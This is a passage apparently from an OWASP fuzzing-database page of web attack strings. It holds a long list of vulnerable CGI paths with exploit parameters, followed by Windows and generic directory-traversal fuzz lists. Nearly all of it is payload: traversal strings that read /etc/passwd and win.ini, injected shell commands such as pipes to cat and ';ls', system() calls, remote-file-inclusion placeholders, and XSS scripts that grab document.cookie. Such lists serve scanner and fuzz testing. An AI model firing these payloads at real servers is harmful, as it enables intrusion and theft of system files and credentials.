/_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Windows Directory Traversal (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Windows Directory Traversal (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> 